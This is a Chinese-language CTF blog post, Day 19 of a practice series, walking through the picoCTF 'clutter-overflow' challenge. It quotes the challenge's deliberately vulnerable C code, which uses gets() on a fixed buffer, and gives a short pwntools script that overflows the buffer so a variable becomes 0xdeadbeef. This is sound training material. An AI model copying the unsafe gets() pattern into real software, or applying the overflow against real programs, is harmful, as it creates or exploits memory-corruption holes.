iT邦幫忙

2024 iThome 鐵人賽

DAY 19
0
佛心分享-刷題不只是刷題

CTF 刷題系列 第 19

CTF Day 19 Binary(clutter-overflow)

  • 分享至 

  • xImage
  •  

題目 clutter-overflow

https://ithelp.ithome.com.tw/upload/images/20241003/20155574Qr6lSLfeJT.png

關鍵大概在下面幾行
clutter buffer為256
code要等於0xdeadbeef才會output flag

#define SIZE 0x100
#define GOAL 0xdeadbeef
char clutter[SIZE];
gets(clutter);

  if (code == GOAL) {
    printf("code == 0x%llx: how did that happen??\n", GOAL);
    puts("take a flag for your troubles");
    system("cat flag.txt");
  } else {
    printf("code == 0x%llx\n", code);
    printf("code != 0x%llx :(\n", GOAL);
  }

一樣跟之前去找offset的數
https://ithelp.ithome.com.tw/upload/images/20241003/20155574Qxf3bXjaCI.png
https://ithelp.ithome.com.tw/upload/images/20241003/20155574XhQQacEjKg.png
https://ithelp.ithome.com.tw/upload/images/20241003/20155574UYyzxTZKT3.png

找到code是272,但我們的目的主要不是overflow
為了讓 code 的值變成 0xdeadbeef
0xdeadbeef有8 bytes
所以要填滿272-8=264個字元

script

from pwn import *

r = process("./chall")
# r = remote("mars.picoctf.net",31890)

r.recvline("What do you see?")
r.sendline(b"A"*264+p64(0xdeadbeef))
r.interactive()

https://ithelp.ithome.com.tw/upload/images/20241003/20155574HoCOZB5EY5.png


上一篇
CTF Day 18 Binary(buffer overflow 2)
下一篇
CTF Day 20 Binary(flag leak)
系列文
CTF 刷題30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言